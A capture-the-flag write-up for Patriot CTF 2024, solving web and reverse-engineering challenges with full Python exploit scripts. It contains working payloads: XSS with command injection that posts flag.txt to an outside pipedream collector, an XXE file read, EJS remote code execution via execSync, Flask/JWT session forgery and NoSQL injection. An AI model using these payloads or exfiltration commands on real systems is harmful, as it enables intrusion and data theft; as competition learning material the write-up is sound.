Introduction
Yesterday I opened to play a bit in Patriot CTF 2k24. It was a lot of fun and diversity in challenges. I managed to solve all of the web challenges and snatch 2 easy reverse ones at the end. Let me share with you my not so developed Writeups, I made sure the code runs and is clear for the solvers.
Giraffe Notes
The goal of this challenge was to find the flag, We had to pass the X-Forwarded-For
header with values in the whitelist.
import requests
import re
def get_flag(input_string):
# Define the regex pattern to match CACI{anything}
pattern = r'CACI\{.*\}'
# Search for the pattern in the input string
match = re.search(pattern, input_string)
# If a match is found, print it
if match:
print(match.group(0))
else:
print("No match found")
BASE_URL="http://chal.competitivecyber.club:8081"
resp=requests.get(BASE_URL,headers={"X-Forwarded-For":"localhost"})
get_flag(resp.text)
# CACI{1_lik3_g1raff3s_4_l0t}
References
Impersonate - Web
A very interesting challenge. By visiting the web page we are greeted with a login page. Looking at /status
route we can see the server uptime and more importantly the server time, so we can calculate the flask secret key and forge our token.
from itsdangerous.timed import TimestampSigner
import requests
from datetime import datetime, timedelta
import re
import hashlib
import json
from flask.sessions import TaggedJSONSerializer
from itsdangerous import URLSafeTimedSerializer, BadSignature
def get_server_start_time(url):
response = requests.get(f"{url}/status")
if response.status_code == 200:
content = response.text
uptime_match = re.search(r"Server uptime: (\d+):(\d+):(\d+)", content)
server_time_match = re.search(r"Server time: (\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})", content)
if uptime_match and server_time_match:
hours, minutes, seconds = map(int, uptime_match.groups())
uptime = timedelta(hours=hours, minutes=minutes, seconds=seconds)
server_time = datetime.strptime(server_time_match.group(1), "%Y-%m-%d %H:%M:%S")
start_time = server_time - uptime
return start_time
return None
def calculate_flask_secret(start_time):
server_start_str = start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
return secure_key
def forge_flask_session(secret_key, data):
serializer = TaggedJSONSerializer()
signer = URLSafeTimedSerializer(
secret_key, salt='cookie-session', serializer=serializer,
signer=TimestampSigner,
signer_kwargs={'key_derivation': 'hmac', 'digest_method':hashlib.sha1}
)
return signer.dumps(data)
def get_flag(url,session):
resp=requests.get(url+"/admin",cookies={"session":session})
print(resp.text)
def main():
server_url = "http://chal.competitivecyber.club:9999"
# Replace with the actual server URL
start_time = get_server_start_time(server_url)
if start_time:
# print(f"Server start time: {start_time}")
flask_secret = calculate_flask_secret(start_time)
# print(f"Calculated Flask secret key: {flask_secret}")
# Forge a session for an admin user
session_data = {
'username': 'administrator',
'uid': '31333337-1337-1337-1337-133713371337',
'is_admin': True
}
forged_session = forge_flask_session(flask_secret, session_data)
# print(f"Forged session: {forged_session}")
# print("\nTo use this session, set the following cookie in your browser:")
# print(f"session={forged_session}")
get_flag(server_url,forged_session)
else:
print("Unable to determine server start time and calculate Flask secret key.")
if __name__ == "__main__":
main()
Resources / References
Open Sesame - Web
Looking at the available routes, there is /api/stats/{id}
route which displays the username and the score of the user with the given {id}
. We can inject an XSS payload which will be triggered when it visits our stats. One last challenge is to find the port of endpoint of the API.
Yes, You have to scan for the port for the API of the challenge.
I used naabu
with the following command:
naabu chal.competitivecyber.club -p 1000-20000
To exfiltrate the flag, I created a script that interacts with the restricted endpoint with a malicious modifier that triggers the command injection and send me the result.
function sendRequest() {
let e = `http://127.0.0.1:1337/api/cal?modifier=${encodeURIComponent("MODIFIER")}`,
t = new XMLHttpRequest();
t.open("GET", e, !0),
t.setRequestHeader("Content-Type", "application/json"),
(t.withCredentials = !0),
(t.onreadystatechange = function () {
if (4 === t.readyState && 200 === t.status) {
let e = JSON.parse(t.responseText);
e.error ? sendResultToEndpoint(e.error) : sendResultToEndpoint(e.cal);
}
}),
t.send();
}
function sendResultToEndpoint(e) {
let t = new XMLHttpRequest();
t.open("POST", "https://en85bx1huyalv.x.pipedream.net/", !0),
t.setRequestHeader("Content-Type", "application/json"),
t.send(JSON.stringify({ result: e }));
}
sendRequest();
Replace MODIFIER
with ;curl -X POST -d @flag.txt https://en85bx1huyalv.x.pipedream.net/
from urllib.parse import quote
import requests
import threading
# BOT_URL="http://chal.competitivecyber.club:13336/"
BASE_URL="http://chal.competitivecyber.club:13337"
BOT_URL="http://chal.competitivecyber.club:13336"
s=requests.Session()
PAYLOAD="""function sendRequest(){let e=`http://127.0.0.1:1337/api/cal?modifier=${encodeURIComponent("MODIFIER")}`,t=new XMLHttpRequest;t.open("GET",e,!0),t.setRequestHeader("Content-Type","application/json"),t.withCredentials=!0,t.onreadystatechange=function(){if(4===t.readyState&&200===t.status){let e=JSON.parse(t.responseText);e.error?sendResultToEndpoint(e.error):sendResultToEndpoint(e.cal)}},t.send()}function sendResultToEndpoint(e){let t=new XMLHttpRequest;t.open("POST","https://en85bx1huyalv.x.pipedream.net/",!0),t.setRequestHeader("Content-Type","application/json"),t.send(JSON.stringify({result:e}))}; sendRequest();"""
paayload=PAYLOAD.replace("MODIFIER",";curl -X POST -d @flag.txt https://en85bx1huyalv.x.pipedream.net/")
def create_xss_redirects():
resp=s.post(BASE_URL+"/api/stats",json={"username":f"<script>{paayload}</script>","high_score":"0"})
print(resp.text)
id=resp.json()["id"]
return id
def trigger_xss(id):
resp=s.post(BOT_URL+"/visit",data={'path':f'/api/stats/{id}'})
print(resp.text)
id = create_xss_redirects()
print(id)
trigger_xss(id)
# CACI{1_l0v3_c0mm4nd_1nj3ct10n}
DomDom - Web
This challenge involves exploiting the exploitation of a basic XXE (XML External Entity) vulnerability.
Step 1: Crafting the XXE Payload
We start by creating a malicious XML payload designed to read the contents of the /flag.txt
file on the server. The payload is then embedded within the Comment
metadata of a PNG image using a script.
Step 2: Uploading and Triggering the Payload
Next, we upload the modified image to the server. The server parses the image metadata, triggering our XXE payload, which reads the content of /flag.txt
.
Finally, we make a request to the /check
endpoint to retrieve the flag. The server includes the contents of the /flag.txt
file, which was retrieved due to the XXE vulnerability, in the response to our request.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<methodName>&xxe;</methodName>
import requests
from PIL import Image, PngImagePlugin
from werkzeug.datastructures.headers import Headers
from PIL import Image
from PIL.ExifTags import TAGS
from bs4 import BeautifulSoup
BASE_URL="http://chal.competitivecyber.club:9090"
def modify_comment_info(image_path, new_comment):
image = Image.open(image_path)
# Retrieve the existing metadata
info = image.info
# Modify the 'Comment' field, or add one if it doesn't exist
info['Comment'] = new_comment
# Save the image with the modified metadata
# For PNG images, ensure you're using PngImagePlugin for saving
if image.format == 'PNG':
png_info = PngImagePlugin.PngInfo()
for key, value in info.items():
if type (value) == str:
png_info.add_text(key, value)
image.save('output.png', pnginfo=png_info)
else:
image.save('output.png', "JPEG", quality=95, comment=info['Comment'])
def forge_picture(payload):
image_path = 'test.png'
new_comment = payload
modify_comment_info(image_path,payload )
def upload_picture():
with open("output.png", "rb") as f:
resp=requests.post(f"{BASE_URL}/", files={"file":f})
soup = BeautifulSoup(resp.text, 'html.parser')
success_text = soup.find(text=lambda t: "Successfully uploaded:" in t)
if success_text is not None:
filename = success_text.split("Successfully uploaded: ")[-1].strip()
print(f"Extracted filename: {filename}")
return filename
return None
def get_comment(filename):
resp=requests.get(f"http://localhost:9090/meta?image={filename}")
image = Image.open("output.png")
print(image.info, resp.text)
def get_flag(filename):
resp=requests.post(f"{BASE_URL}/check", data={"url":f"http://localhost:9090/meta?image={filename}"}, headers={"Host":"localhost:9090"})
print(resp.text)
XXE_PAYLOAD= open("./tmp.xml").read()
forge_picture(XXE_PAYLOAD)
filename=upload_picture()
# for debugging
# get_comment(filename)
get_flag(filename)
Resources / References
Blob - Web
This challenge is about EJS exploitation.
We can manipulate these settings of templating engine
The escapeFunction
will be called on any template injected by the user and that’s the case for the {blob}
in the index.ejs
.
I reached for the admin to discover that the container has no external connections. So I was forced to modify the return of the function to reflect the output of the executed shell commands.
import requests
import urllib.parse
BASE_URL="http://localhost:3000"
BASE_URL="http://chal.competitivecyber.club:3000"
cmd = 'wget "https://entcgaonlxghp.x.pipedream.net/?$(ls / | base64)"'
resp = requests.get(
BASE_URL ,params={
"debug":True,
"client":True,
"settings[view options][escapeFunction]":"function(markup){return process.mainModule.require('child_process').execSync('cat flag-6637c8dd34.txt').toString()};",
}
)
print(resp.text)
Resources / References
- https://mizu.re/post/ejs-server-side-prototype-pollution-gadgets-to-rce
- https://github.com/mde/ejs/issues/720
- https://github.com/aszx87410/blog/issues/139
KiraSau Problem - Web
It’s YAML injection to bypass the weird conditions. It appears to be outputting the data sent through a GET request in a YAML string the re-parse it. So, the first I tought about is YAML injection.
$countryList = array_flip($countryList);
$yaml = <<<EOF
- country: $input
- country_code: $countryList[$input]
EOF;
if (empty($yaml)) die("No YAML data provided");
$cc = $parsed_arr[1]['country_code'];
if (!$parsed_arr) echo "Error parsing YAML".'<br>';
if (!$input) die("No country code provided");
if (isset($input)) {
if (array_key_exists($parsed_arr[0]['country'], $countryList)) {
echo "The country code for ".$parsed_arr[0]['country']." is ". $cc.'<br>';
echo escapeshellcmd('curl '.$url);
echo "cc: ".$cc.'<br>';
run($cc, $url);
} else {
die("Country not found");
return;
}
}
To summarize the conditions:
- We have to send a country query param :)
- We need the
$parsed_arr[1]["country_code"]
to be empty / null
How it looks
- country: $input
- country_code: $countryList[$input]
Let’s try injecting a new line and another key. We’ll input Japan\n- country_code: \n
in the input field.
After Injection
- country: japan
- country_code:
- country_code: $countryList[$input]
After successfully bypass the exploit, despite not being able to achieve full RCE we still can manipulate the arguments in the URL to send ourselves the flag with -X POST -d @/get-here/flag.txt https://en85bx1huyalv.x.pipedream.net/
.
import requests
BASE_URL = "http://chal.competitivecyber.club:8090"
def exploit():
res=requests.get(f"{BASE_URL}/challenge.php%3Fooo.php", params={
"country":"Japan\n- country_code: \n","url":"-X POST -d @/get-here/flag.txt https://en85bx1huyalv.x.pipedream.net/"
})
print(res.text)
exploit()
DogDays - Web
This challenge is about length extension. If we look closely to the code we can tell that we always have:
SECRET || IMAGE_FILENAME
We have the result hash in index.php
which is given. Yeah, I had some hard time at first when I skipped it. I thought the hashes given were for the test secret :).
We can add /../../../../
after the filename to get path traversal and that’s our append. Stars aligned it’s quite straightforward length extension vulnerability. ( Also another big hint is the deletion of null bytes before path construction )
import requests
import hlextend
import subprocess
import hashlib
BASE_URL = "http://chal.competitivecyber.club:7777"
# BASE_URL="http://localhost:5040"
def check_stx():
for length in range(1,100):
print("[+] length",length)
sha = hlextend.new('sha1')
append=b"/./../../../../../flag"
file=b"2.png"
out_msg=sha.extend(append,file,length,"6e52c023e823622a86e124824efbce29d78b2e73")
print(out_msg)
hash=sha.hexdigest()
resp = requests.get(BASE_URL + "/view.php", params={"pic":out_msg , "hash": hash})
if "BAD.gif" not in resp.text:
print(resp.text)
exit(0)
check_stx()
Resources / References
Secret Door
Secret Door was particularly interesting, requiring a combination of Format string exploitation to leak secrets then JWT/Session forgery to achieve a full-chain exploit.
If you can’t see the Format string vulnerability you will have hard time solving this challenge.
update_date = time.strftime("%Y-%m-%d %H:%M:%S")
log_text = f"Email updated to {new_email} at {update_date}"
log_text = log_text.format(
new_email=new_email, timestamp=timestamp, update_date=update_date
)
We have control over the new_email
variable and the fact the validate_email
function follows the RFC5322, we have free control to inject our cute curly braces to execute some code.
import requests
from itsdangerous.timed import TimestampSigner
from datetime import datetime, timedelta
import re
import hashlib
import json
from flask.sessions import TaggedJSONSerializer
from itsdangerous import URLSafeTimedSerializer, BadSignature
import datetime
import jwt
import html
# BASE_URL = "http://localhost:1337"
BASE_URL="http://chal.competitivecyber.club:1337"
class APIClient:
def __init__(self):
# Create a session object to persist the cookies and auth across requests
self.session = requests.Session()
def login(self, email, password):
url = f"{BASE_URL}/api/login"
data = {"email": email, "password": password}
response = self.session.post(url, json=data)
if response.status_code == 200:
print("Logged in successfully")
return True
else:
print(f"Login failed: {response.status_code} - {response.text}")
return False
def register(self, email, password):
url = f"{BASE_URL}/api/register"
data = {"email": email, "password": password}
response = self.session.post(url, json=data)
if response.status_code == 200:
print("Registered successfully")
return True
else:
print(f"Registration failed: {response.status_code} - {response.text}")
return False
def update_email(self, new_email):
url = f"{BASE_URL}/api/update-email"
data = {"email": new_email}
response = self.session.post(url, json=data)
if response.status_code == 200:
print("Email updated successfully")
return True
else:
print(f"Update email failed: {response.status_code} - {response.text}")
return False
def view_logs(self):
url = f"{BASE_URL}/api/view-logs"
response = self.session.get(url)
if response.status_code == 200:
logs = response.json()
return logs
else:
print(f"Failed to retrieve logs: {response.status_code} - {response.text}")
return None
def create_JWT(email: str, role, jwt_key):
utc_time = datetime.datetime.now(datetime.UTC)
token_expiration = utc_time + datetime.timedelta(minutes=1000)
data = {"email": email, "exp": token_expiration, "role": role}
encoded = jwt.encode(data, jwt_key, algorithm="HS256")
return encoded
def verify_JWT(token, jey_key):
try:
token_decode = jwt.decode(token, jwt_key, algorithms="HS256")
return token_decode
except:
return abort(401, "Invalid authentication token!")
def forge_flask_session(secret_key, data):
serializer = TaggedJSONSerializer()
signer = URLSafeTimedSerializer(
secret_key,
salt="cookie-session",
serializer=serializer,
signer=TimestampSigner,
signer_kwargs={"key_derivation": "hmac", "digest_method": hashlib.sha1},
)
return signer.dumps(data)
def get_flag(session):
url = f"{BASE_URL}/admin"
response = requests.get(url, cookies={"session": session})
if response.status_code == 200:
print(response.text)
else:
print(f"Failed to retrieve flag: {response.status_code} - {response.text}")
if __name__ == "__main__":
client = APIClient()
email = "aaaaaaaaaa@example.com" # Replace with actual email
password = "your_password" # Replace with actual password
client.register(email, password)
if client.login(email, password):
# 2. Optionally, register a new user
new_email = "{timestamp.__globals__}'@caew.com" # Replace with actual new email
# 3. Update email
client.update_email(new_email)
client.login(new_email, password)
# 4. View logs
logs = client.view_logs()
for log in logs:
print(html.unescape(log["log_text"]))
jwt_key = input("jwt key >")
flask_secret = input("flask secret >")
jwt = create_JWT(new_email, "admin", jwt_key)
session = forge_flask_session(flask_secret, {"auth": jwt})
get_flag(session)
Resources / References
- https://shirajuki.js.org/blog/pyjail-cheatsheet#bypasses-and-payloads
- https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes
BdogNom - Web
After some googling I discovered the The $facet
operator allows us to execute multiple aggregation on the database.
Then I went to implement the same query described here under the $facet
operator
MongoDB NoSQL Injection with Aggregation Pipelines
{
"$facet": {
"tasksCollection": [
{
"$match": {}
}
],
"configCollection": [
{
"$unionWith": {
"coll": "config",
"pipeline": [
{
"$addFields": {
"collection": "config"
}
}
]
}
}
]
}
}
The first stage is to query the tasks collection then merge them with config collection adding a field called config containing the whole collection.
import requests
import json
BASE_URL = "http://chal.competitivecyber.club:3002/"
s = requests.Session()
def register_user(username, first_name, last_name, password):
url = f"{BASE_URL}/api/v0/user/register"
headers = ({"Content-Type": "application/json"},)
data = {
"username": username,
"firstName": first_name,
"lastName": last_name,
"password": password,
}
response = requests.post(url, json=data)
return response.text
def login_user(username, password):
url = f"{BASE_URL}/api/v0/user/login"
data = {"username": username, "password": password}
response = s.post(
url,
json=data,
headers={"Content-Type": "application/json"},
allow_redirects=True,
)
return response.text
def get_user_profile():
url = f"{BASE_URL}/api/v0/user"
response = s.get(url)
return response.json()
def add_task(title):
url = f"{BASE_URL}/api/v0/tasks"
data = {"title": title}
response = s.post(url, json=data, headers={"Content-Type": "application/json"})
return response.json()
# Update Task (Mark as Completed)
def update_task(task_id, completed=True):
url = f"{BASE_URL}/api/v0/tasks/{task_id}"
data = {"completed": completed}
response = s.put(
url + f"/{task_id}", json=data, headers={"Content-Type": "application/json"}
)
print(response.text, response.status_code)
return response.json()
# Search Tasks with Filters
def search_tasks():
url = f"{BASE_URL}/api/v0/tasks/search"
response = s.get(
url,
json={
"filter": json.loads(
'{"$facet":{"tasksCollection":[{"$match":{"foo":"bar"}}],"configCollection":[{"$unionWith":{"coll":"config","pipeline":[{"$addFields":{"collection":"config"}}]}}]}}'
)
},
headers={"Content-Type": "application/json"},
)
print(response.text)
return response.json()
def all_tasks():
url = f"{BASE_URL}/api/v0/tasks"
response = s.get(url)
return response.json()
# Example usage
if __name__ == "__main__":
# Register a new user
print("Registering user:")
print(register_user("testuser", "John", "Doe", "password123"))
# Log in with the user credentials
print("\nLogging in user:")
login_user("testuser", "password123")
updated_tasks = search_tasks()
print(updated_tasks)
print(all_tasks())
Resources / References
- https://www.mongodb.com/docs/manual/reference/operator/aggregation/facet/#definition
- https://soroush.me/blog/2024/06/mongodb-nosql-injection-with-aggregation-pipelines/
Password Protector - Rev
For this challenge we got a binary and a prompt.
"Mwahahaha you will nOcmu{9gtufever crack into my passMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ympword, i'll even give you the key and the executable:::: Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV"
Looking at the binary in an online decompiler we can see that it’s a simple program that takes input then do some operations on it and compare it to another hardcoded string.
import os
import secrets
from base64 import *
def promptGen():
flipFlops = lambda x: chr(ord(x) + 1)
with open('topsneaky.txt', 'rb') as f:
first = f.read()
bittys = secrets.token_bytes(len(first))
onePointFive = int.from_bytes(first) ^ int.from_bytes(bittys)
second = onePointFive.to_bytes(len(first))
third = b64encode(second).decode('utf-8')
bittysEnc = b64encode(bittys).decode('utf-8')
fourth = ''
for each in third:
fourth += flipFlops(each)
fifth = f"Mwahahaha you will n{fourth[0:10]}ever crack into my pass{fourth[10:]}word, i'll even give you the key and the executable:::: {bittysEnc}"
return fifth
def main():
print(promptGen())
if __name__ == '__main__':
main()```
[Decompiler](https://pylingual.io/view_chimera?identifier=a8248199c23e2852cded943489637e2abf5f6cc0af576d3eb98eac570268530f)
We need to reverse the promptGen and get the contents of `topsneaky.txt`, the function does the following:
* It takes the user's input and generates a secret then XOR it with it
* It base64 encodes the result.
* It base64 encode the secret.
* It shifts the chars right for the base64 encoded XOR result.
* It constructs a string with them.
To reverse the process, we can write a Python script which basically `base64` decode the relevant strings and reverse flop them.
- It retrieves the parts
- Base64 decodes them all.
- Shift left for the previously Xored string
- XOR back and prints the flag :)
```python
from base64 import b64decode
def reverseFlipFlops(x):
return chr(ord(x) - 1)
def reversePromptGen(fifth):
# Extract the encoded part of the string
encoded_part="Ocmu{9gtufMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ymp"
bittysEnc = "Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV"
# Reverse the flipFlops operation
fourth = ''
for each in encoded_part:
fourth += reverseFlipFlops(each)
# Base64 decode the reversed string
second = b64decode(fourth+"==")
# Base64 decode the key
bittys = b64decode(bittysEnc)
# XOR the decoded bytes with the key to get the original content
onePointFive = int.from_bytes(second) ^ int.from_bytes(bittys)
first = onePointFive.to_bytes(len(second))
return first
Revioli - Rev
Well, I opened the binary in Cutter and understood the assignment immediately. I had to get the flag after it’s assembled in assemble_flag
function. So I put a break point and printed the returned result of the function with GDB.
Final words
The CTF was enjoyable overall, despite a few technical issues, particularly with Blob. It turned out to be a great learning experience. I especially appreciated the BdogNom challenge, where I gained valuable insights into MongoDB aggregations. A big thank you to the authors and organizers—looking forward to next year! 🎇
If you got any questions feel free to ask me on twitter @YBK_Firelights
or on discord Ophelius#3779
. Happy hacking \o/ 🧨⚡